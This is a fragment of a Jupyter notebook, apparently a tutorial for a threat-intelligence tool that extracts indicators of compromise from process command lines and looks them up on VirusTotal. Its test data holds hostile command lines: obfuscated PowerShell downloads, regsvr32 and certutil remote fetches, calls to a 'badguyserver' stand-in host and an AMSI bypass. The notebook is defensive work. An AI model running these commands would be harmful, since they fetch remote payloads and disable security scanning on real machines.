       "      <th>Observable</th>\n",
       "      <td>90.156.201.97</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>IoCType</th>\n",
       "      <td>ipv4</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Status</th>\n",
       "      <td>Success</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ResponseCode</th>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>RawResponse</th>\n",
       "      <td>{\"undetected_downloaded_samples\": [{\"date\": \"2...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Resource</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SourceIndex</th>\n",
       "      <td>0</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>VerboseMsg</th>\n",
       "      <td>IP address in dataset</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Resource</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ScanId</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Permalink</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Positives</th>\n",
       "      <td>350</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>MD5</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SHA1</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SHA256</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ResolvedDomains</th>\n",
       "      <td>0-1000v.ru, 00004.ru, 01sasha.ru, 027.ru, 03ma...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>ResolvedIPs</th>\n",
       "      <td>NaN</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>DetectedUrls</th>\n",
       "      <td>http://remont-iphone-spb.com/, http://www.prov...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                                 0\n",
       "Observable                                           90.156.201.97\n",
       "IoCType                                                       ipv4\n",
       "Status                                                     Success\n",
       "ResponseCode                                                     1\n",
       "RawResponse      {\"undetected_downloaded_samples\": [{\"date\": \"2...\n",
       "Resource                                                       NaN\n",
       "SourceIndex                                                      0\n",
       "VerboseMsg                                   IP address in dataset\n",
       "Resource                                                       NaN\n",
       "ScanId                                                         NaN\n",
       "Permalink                                                      NaN\n",
       "Positives                                                      350\n",
       "MD5                                                            NaN\n",
       "SHA1                                                           NaN\n",
       "SHA256                                                         NaN\n",
       "ResolvedDomains  0-1000v.ru, 00004.ru, 01sasha.ru, 027.ru, 03ma...\n",
       "ResolvedIPs                                                    NaN\n",
       "DetectedUrls     http://remont-iphone-spb.com/, http://www.prov..."
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "14456 resolved domains\n",
      "Showing first 10\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "['0-1000v.ru',\n",
       " ' 00004.ru',\n",
       " ' 01sasha.ru',\n",
       " ' 027.ru',\n",
       " ' 03magnet.com',\n",
       " ' 03magnet.ru',\n",
       " ' 04gaz.ru',\n",
       " ' 0525.ru',\n",
       " ' 0987654321.ru',\n",
       " ' 0notole.ru']"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "4870 detected urls\n",
      "Showing first 10 (Don't click on any of these!)\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "['http://remont-iphone-spb.com/',\n",
       " ' http://www.provetom.ru/art/art_2.htm',\n",
       " ' http://gubino.net/',\n",
       " ' http://thar.ru/',\n",
       " ' http://alliance-pravo.com/',\n",
       " ' http://ventkanal.ru/kwdl38g',\n",
       " ' http://autolombard.club/',\n",
       " ' http://moscowbmw.ru/',\n",
       " ' http://belowtheweb.ru/avia/300%C3%97500/images/pikz.zip',\n",
       " ' http://www.maxsev.ru/']"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "display(pd.DataFrame(vt_lookup.results.loc[0].T))\n",
    "print(f'{len(vt_lookup.results.loc[0].ResolvedDomains)} resolved domains')\n",
    "print('Showing first 10')\n",
    "display(vt_lookup.results.loc[0].ResolvedDomains.split(',')[0:10])\n",
    "\n",
    "print(f'{len(vt_lookup.results.loc[0].DetectedUrls)} detected urls')\n",
    "print('Showing first 10 (Don\\'t click on any of these!)')\n",
    "display(vt_lookup.results.loc[0].DetectedUrls.split(',')[0:10])"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### IoC Types Available\n",
    "There are 4 basic IoC types used by Virus Total. Hashes of all types (include SHA256 Authenticode) are covered by the 'file' type."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 26,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "['ipv4', 'dns', 'url', 'md5_hash', 'sha1_hash', 'sh256_hash']"
      ]
     },
     "execution_count": 26,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Types that you need to supply to the lookup calls\n",
    "VTLookup._SUPPORTED_INPUT_TYPES"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 27,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'ipv4': 'ip-address',\n",
       " 'ipv6': None,\n",
       " 'dns': 'domain',\n",
       " 'url': 'url',\n",
       " 'md5_hash': 'file',\n",
       " 'sha1_hash': 'file',\n",
       " 'sh256_hash': 'file'}"
      ]
     },
     "execution_count": 27,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# How these map to VT lookup types\n",
    "VTLookup._VT_TYPE_MAP"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='dataframe_input'></a>[Contents](#contents)\n",
    "## Input from a DataFrame\n",
    "\n",
    "**WARNING** The VirusTotal Public API allows a maximum of 4 requests a minute. If you start seeing HTTP Error 403, you've probably hit this limit\n",
    "\n",
    "API Signature\n",
    "```\n",
    "vt_lookup.lookup_iocs(\n",
    "    ['data: pandas.core.frame.DataFrame', \"src_col: str = 'Observable'\", \"type_col: str = 'IoCType'\", \"src_index_col: str = 'SourceIndex'\", '**kwargs'],\n",
    ") -> pandas.core.frame.DataFrame\n",
    "Docstring:\n",
    "lookup_iocs: main lookup method.\n",
    "\n",
    "Tries to retrieve results for IoC observables in the source dataframe.\n",
    "\n",
    "    :param data: dataframe containing the observables to search for\n",
    "    :param src_col: the column name that contains the observable data\n",
    "        (one item per row)\n",
    "    :param type_col: the column name containing the observable type\n",
    "    :param source_index: the name of the column to use as source index. If not\n",
    "        specified this defaults to 'SourceIndex'. If this (or the supplied value)\n",
    "        is not in the source dataframe the index of the source dataframe will\n",
    "        be used. This is retained in the output so that you can join the results\n",
    "        back to the original data.\n",
    "    :param kwargs: key/value pairs of additional mappings to supported IoC type names\n",
    "        e.g. ipv4='ipaddress', url='httprequest'. This allows you to specify custom\n",
    "        mappings when the source data is tagged with different names.\n",
    "\n",
    "Returns:\n",
    "    pd.DataFrame: VT Results\n",
    "\n",
    "See supported_ioc_types attribute for a list of valid target types.\n",
    "Not all of these types are supported by VirusTotal. See ioc_vt_type_mapping for\n",
    "current mappings. Types mapped to None will not be submitted to VT.\n",
    "\n",
    "For urls a full http request can be submitted, query string and fragments will be\n",
    "dropped before submitting. Other supported protocols are ftp, telnet, ldap, file\n",
    "For files MD5, SHA1 and SHA256 hashes are supported.\n",
    "For IP addresses only dotted IPv4 addresses are supported.\n",
    "```"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Load test data and extract some IoCs from it"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>CommandLine</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>.\\ftp  -s:C:\\RECYCLER\\xxppyy.exe</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>.\\reg  not /domain:everything that /sid:shines is /krbtgt:golden !</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>cmd  /c \"systeminfo &amp;&amp; systeminfo\"</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>.\\rundll32  /C 42424.exe</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>.\\rundll32  /C c:\\users\\MSTICAdmin\\42424.exe</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                          CommandLine\n",
       "0                                    .\\ftp  -s:C:\\RECYCLER\\xxppyy.exe\n",
       "1  .\\reg  not /domain:everything that /sid:shines is /krbtgt:golden !\n",
       "2                                  cmd  /c \"systeminfo && systeminfo\"\n",
       "3                                            .\\rundll32  /C 42424.exe\n",
       "4                        .\\rundll32  /C c:\\users\\MSTICAdmin\\42424.exe"
      ]
     },
     "execution_count": 3,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Load test data\n",
    "process_tree = pd.read_csv('data/process_tree.csv')\n",
    "process_tree[['CommandLine']].head()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Observable</th>\n",
       "      <th>SourceIndex</th>\n",
       "      <th>Input</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>dns</td>\n",
       "      <td>microsoft.com</td>\n",
       "      <td>24</td>\n",
       "      <td>cmd  /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>url</td>\n",
       "      <td>http://server/file.sct</td>\n",
       "      <td>31</td>\n",
       "      <td>.\\regsvr32   /s /n /u /i:http://server/file.sct scrobj.dll</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>dns</td>\n",
       "      <td>server</td>\n",
       "      <td>31</td>\n",
       "      <td>.\\regsvr32   /s /n /u /i:http://server/file.sct scrobj.dll</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>3</th>\n",
       "      <td>dns</td>\n",
       "      <td>evil.ps</td>\n",
       "      <td>35</td>\n",
       "      <td>.\\powershell.exe  -c \"$a = 'Download'+'String'+\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\"...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>4</th>\n",
       "      <td>url</td>\n",
       "      <td>http://somedomain/best-kitten-names-1.jpg'</td>\n",
       "      <td>37</td>\n",
       "      <td>cmd  /c \".\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^t...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>5</th>\n",
       "      <td>dns</td>\n",
       "      <td>somedomain</td>\n",
       "      <td>37</td>\n",
       "      <td>cmd  /c \".\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^t...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>6</th>\n",
       "      <td>dns</td>\n",
       "      <td>blah.ps</td>\n",
       "      <td>40</td>\n",
       "      <td>cmd  /c \"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa &gt;&gt; blah.ps1\"</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>7</th>\n",
       "      <td>md5_hash</td>\n",
       "      <td>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</td>\n",
       "      <td>40</td>\n",
       "      <td>cmd  /c \"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa &gt;&gt; blah.ps1\"</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>8</th>\n",
       "      <td>dns</td>\n",
       "      <td>blah.ps</td>\n",
       "      <td>41</td>\n",
       "      <td>cmd  /c \"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa &gt;&gt; blah.ps1\"</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>9</th>\n",
       "      <td>md5_hash</td>\n",
       "      <td>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</td>\n",
       "      <td>41</td>\n",
       "      <td>cmd  /c \"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa &gt;&gt; blah.ps1\"</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>10</th>\n",
       "      <td>md5_hash</td>\n",
       "      <td>81ed03caf6901e444c72ac67d192fb9c</td>\n",
       "      <td>44</td>\n",
       "      <td>implant.exe  81ed03caf6901e444c72ac67d192fb9c</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>11</th>\n",
       "      <td>url</td>\n",
       "      <td>http://badguyserver/pwnme</td>\n",
       "      <td>46</td>\n",
       "      <td>cmd  /c \"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\"</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>12</th>\n",
       "      <td>dns</td>\n",
       "      <td>badguyserver</td>\n",
       "      <td>46</td>\n",
       "      <td>cmd  /c \"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\"</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>13</th>\n",
       "      <td>url</td>\n",
       "      <td>http://badguyserver/pwnme</td>\n",
       "      <td>47</td>\n",
       "      <td>.\\powershell  -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>14</th>\n",
       "      <td>dns</td>\n",
       "      <td>badguyserver</td>\n",
       "      <td>47</td>\n",
       "      <td>.\\powershell  -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>15</th>\n",
       "      <td>dns</td>\n",
       "      <td>Invoke-Shellcode.ps</td>\n",
       "      <td>48</td>\n",
       "      <td>.\\powershell  Invoke-Shellcode.ps1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>16</th>\n",
       "      <td>dns</td>\n",
       "      <td>Invoke-ReverseDnsLookup.ps</td>\n",
       "      <td>49</td>\n",
       "      <td>.\\powershell  Invoke-ReverseDnsLookup.ps1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>17</th>\n",
       "      <td>dns</td>\n",
       "      <td>Wscript.Shell</td>\n",
       "      <td>67</td>\n",
       "      <td>cmd  /c C:\\Windows\\System32\\mshta.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\".\\powershell.e...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>18</th>\n",
       "      <td>url</td>\n",
       "      <td>http://system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').se...</td>\n",
       "      <td>77</td>\n",
       "      <td>.\\powershell.exe   -command [ref].assembly.gettype('http://system.management.automation.amsiutil...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>19</th>\n",
       "      <td>dns</td>\n",
       "      <td>system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue(...</td>\n",
       "      <td>77</td>\n",
       "      <td>.\\powershell.exe   -command [ref].assembly.gettype('http://system.management.automation.amsiutil...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>20</th>\n",
       "      <td>ipv4</td>\n",
       "      <td>1.2.3.4</td>\n",
       "      <td>78</td>\n",
       "      <td>netsh  start capture=yes IPv4.Address=1.2.3.4 tracefile=C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\b...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>21</th>\n",
       "      <td>dns</td>\n",
       "      <td>wscript.shell</td>\n",
       "      <td>81</td>\n",
       "      <td>cmd  /c \"powershell wscript.shell used to download a .gif\"</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>22</th>\n",
       "      <td>dns</td>\n",
       "      <td>abc.com</td>\n",
       "      <td>90</td>\n",
       "      <td>c:\\Diagnostics\\UserTmp\\ransomware.exe   @ abc.com abc.wallet</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>23</th>\n",
       "      <td>ipv4</td>\n",
       "      <td>127.0.0.1</td>\n",
       "      <td>102</td>\n",
       "      <td>certutil  -urlcache -split -f http://127.0.0.1/</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>24</th>\n",
       "      <td>url</td>\n",
       "      <td>http://127.0.0.1/</td>\n",
       "      <td>102</td>\n",
       "      <td>certutil  -urlcache -split -f http://127.0.0.1/</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "     IoCType  \\\n",
       "0        dns   \n",
       "1        url   \n",
       "2        dns   \n",
       "3        dns   \n",
       "4        url   \n",
       "5        dns   \n",
       "6        dns   \n",
       "7   md5_hash   \n",
       "8        dns   \n",
       "9   md5_hash   \n",
       "10  md5_hash   \n",
       "11       url   \n",
       "12       dns   \n",
       "13       url   \n",
       "14       dns   \n",
       "15       dns   \n",
       "16       dns   \n",
       "17       dns   \n",
       "18       url   \n",
       "19       dns   \n",
       "20      ipv4   \n",
       "21       dns   \n",
       "22       dns   \n",
       "23      ipv4   \n",
       "24       url   \n",
       "\n",
       "                                                                                             Observable  \\\n",
       "0                                                                                         microsoft.com   \n",
       "1                                                                                http://server/file.sct   \n",
       "2                                                                                                server   \n",
       "3                                                                                               evil.ps   \n",
       "4                                                            http://somedomain/best-kitten-names-1.jpg'   \n",
       "5                                                                                            somedomain   \n",
       "6                                                                                               blah.ps   \n",
       "7                                                                      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa   \n",
       "8                                                                                               blah.ps   \n",
       "9                                                                      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa   \n",
       "10                                                                     81ed03caf6901e444c72ac67d192fb9c   \n",
       "11                                                                            http://badguyserver/pwnme   \n",
       "12                                                                                         badguyserver   \n",
       "13                                                                            http://badguyserver/pwnme   \n",
       "14                                                                                         badguyserver   \n",
       "15                                                                                  Invoke-Shellcode.ps   \n",
       "16                                                                           Invoke-ReverseDnsLookup.ps   \n",
       "17                                                                                        Wscript.Shell   \n",
       "18  http://system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').se...   \n",
       "19  system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue(...   \n",
       "20                                                                                              1.2.3.4   \n",
       "21                                                                                        wscript.shell   \n",
       "22                                                                                              abc.com   \n",
       "23                                                                                            127.0.0.1   \n",
       "24                                                                                    http://127.0.0.1/   \n",
       "\n",
       "    SourceIndex  \\\n",
       "0            24   \n",
       "1            31   \n",
       "2            31   \n",
       "3            35   \n",
       "4            37   \n",
       "5            37   \n",
       "6            40   \n",
       "7            40   \n",
       "8            41   \n",
       "9            41   \n",
       "10           44   \n",
       "11           46   \n",
       "12           46   \n",
       "13           47   \n",
       "14           47   \n",
       "15           48   \n",
       "16           49   \n",
       "17           67   \n",
       "18           77   \n",
       "19           77   \n",
       "20           78   \n",
       "21           81   \n",
       "22           90   \n",
       "23          102   \n",
       "24          102   \n",
       "\n",
       "                                                                                                  Input  \n",
       "0   cmd  /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft...  \n",
       "1                                            .\\regsvr32   /s /n /u /i:http://server/file.sct scrobj.dll  \n",
       "2                                            .\\regsvr32   /s /n /u /i:http://server/file.sct scrobj.dll  \n",
       "3   .\\powershell.exe  -c \"$a = 'Download'+'String'+\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\"...  \n",
       "4   cmd  /c \".\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^t...  \n",
       "5   cmd  /c \".\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^t...  \n",
       "6                                         cmd  /c \"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\"  \n",
       "7                                         cmd  /c \"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\"  \n",
       "8                                         cmd  /c \"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\"  \n",
       "9                                         cmd  /c \"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\"  \n",
       "10                                                        implant.exe  81ed03caf6901e444c72ac67d192fb9c  \n",
       "11      cmd  /c \"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\"   \n",
       "12      cmd  /c \"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\"   \n",
       "13  .\\powershell  -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ...  \n",
       "14  .\\powershell  -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ...  \n",
       "15                                                                   .\\powershell  Invoke-Shellcode.ps1  \n",
       "16                                                            .\\powershell  Invoke-ReverseDnsLookup.ps1  \n",
       "17  cmd  /c C:\\Windows\\System32\\mshta.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\".\\powershell.e...  \n",
       "18  .\\powershell.exe   -command [ref].assembly.gettype('http://system.management.automation.amsiutil...  \n",
       "19  .\\powershell.exe   -command [ref].assembly.gettype('http://system.management.automation.amsiutil...  \n",
       "20  netsh  start capture=yes IPv4.Address=1.2.3.4 tracefile=C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\b...  \n",
       "21                                           cmd  /c \"powershell wscript.shell used to download a .gif\"  \n",
       "22                                         c:\\Diagnostics\\UserTmp\\ransomware.exe   @ abc.com abc.wallet  \n",
       "23                                                     certutil  -urlcache -split -f http://127.0.0.1/   \n",
       "24                                                     certutil  -urlcache -split -f http://127.0.0.1/   "
      ]
     },
     "execution_count": 4,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# Use our Regex IoC extractor to pull out things that look like IoCs from the Commandline\n",
    "ioc_extractor = IoCExtract()\n",
    "vt_lookup = VTLookup(vt_key.value, verbosity=2)\n",
    "output_df = ioc_extractor.extract(data=process_tree, \n",
    "                                  columns=['CommandLine'], \n",
    "                                  ioc_types=vt_lookup.supported_ioc_types)\n",
    "output_df"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Submit these to VirusTotal\n",
    "Note that most of these the IoC observables found by a simple regex extraction were rejected before submitting to VT. As well as checking for duplicates this module also filters out things like \n",
    "- loopback/private IPs\n",
    "- unqualified and unresolvable domain names\n",
    "- strings of hex characters that are probably not hashes "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Submitting observables: \"1.2.3.4\", type \"ipv4\" to VT. (Source index 78)\n",
      "Invalid observable format: \"127.0.0.1\", type \"ipv4\", status: IP is private address - skipping. (Source index 102)\n",
      "Invalid observable format: \"tsetup.1.exe\", type \"dns\", status: Domain not resolvable - skipping. (Source index 9)\n",
      "Invalid observable format: \"tsetup.1.0.14.exe\", type \"dns\", status: Domain not resolvable - skipping. (Source index 9)\n",
      "Invalid observable format: \"tsetup.1.0.14.tmp\", type \"dns\", status: Domain not resolvable - skipping. (Source index 9)\n",
      "Invalid observable format: \"doubleextension.pdf.exe\", type \"dns\", status: Domain not resolvable - skipping. (Source index 20)\n",
      "Invalid observable format: \"server\", type \"dns\", status: Observable does not match expected pattern for dns - skipping. (Source index 31)\n",
      "Invalid observable format: \"somedomain\", type \"dns\", status: Observable does not match expected pattern for dns - skipping. (Source index 37)\n",
      "Invalid observable format: \"badguyserver\", type \"dns\", status: Observable does not match expected pattern for dns - skipping. (Source index 46)\n",
      "Invalid observable format: \"badguyserver\", type \"dns\", status: Observable does not match expected pattern for dns - skipping. (Source index 47)\n",
      "Invalid observable format: \"system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue($null,$true)\", type \"dns\", status: Observable does not match expected pattern for dns - skipping. (Source index 77)\n",
      "Invalid observable format: \"system.management.automation.amsiutils\", type \"dns\", status: Domain not resolvable - skipping. (Source index 77)\n",
      "Invalid observable format: \"http://server/file.sct\", type \"url\", status: Host is unqualified domain name - skipping. (Source index 31)\n",
      "Invalid observable format: \"http://somedomain/best-kitten-names-1.jpg'\", type \"url\", status: Host is unqualified domain name - skipping. (Source index 37)\n",
      "Invalid observable format: \"http://badguyserver/pwnme\"\", type \"url\", status: Host is unqualified domain name - skipping. (Source index 46)\n",
      "Invalid observable format: \"http://badguyserver/pwnme\"\", type \"url\", status: Host is unqualified domain name - skipping. (Source index 47)\n",
      "Submitting observables: \"http://system.management.automation.amsiutils').getfield('amsiinitfailed','nonpublic,static').setvalue($null,$true)\", type \"url\" to VT. (Source index 77)\n",
      "Invalid observable format: \"http://127.0.0.1/\", type \"url\", status: Host part of URL is a private IP address - skipping. (Source index 102)\n",
      "Invalid observable format: \" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \", type \"md5_hash\", status: String has too low an entropy to be a hash - skipping. (Source index 40)\n",
      "Invalid observable format: \" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \", type \"md5_hash\", status: String has too low an entropy to be a hash - skipping. (Source index 41)\n",
      "Submitting observables: \"81ed03caf6901e444c72ac67d192fb9c\", type \"md5_hash\" to VT. (Source index 44)\n",
      "Submission complete. 21 responses from 21 input rows\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Observable</th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Status</th>\n",
       "      <th>ResponseCode</th>\n",
       "      <th>RawResponse</th>\n",
       "      <th>Resource</th>\n",
       "      <th>SourceIndex</th>\n",
       "      <th>VerboseMsg</th>\n",
       "      <th>Resource</th>\n",
       "      <th>ScanId</th>\n",
       "      <th>Permalink</th>\n",
       "      <th>Positives</th>\n",
       "      <th>MD5</th>\n",
       "      <th>SHA1</th>\n",
       "      <th>SHA256</th>\n",
       "      <th>ResolvedDomains</th>\n",
       "      <th>ResolvedIPs</th>\n",
       "      <th>DetectedUrls</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>1.2.3.4</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>Success</td>\n",
       "      <td>1</td>\n",
       "      <td>{\"asn\": \"15169\", \"undetected_referrer_samples\"...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>78</td>\n",
       "      <td>IP address in dataset</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>162</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>NaN</td>\n",
       "      <td>%2a.netaccess-india.com, 0-9.dgjtest030-pp-qm-...</td>\n",
       "      <td>NaN</td>\n",
       "      <td>http://1.2.3.4:8347/, http://1.2.3.4/, http://...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>127.0.0.1</td>\n",
       "      <td>ipv4</td>\n",
       "      <td>IP is private address</td>\n",
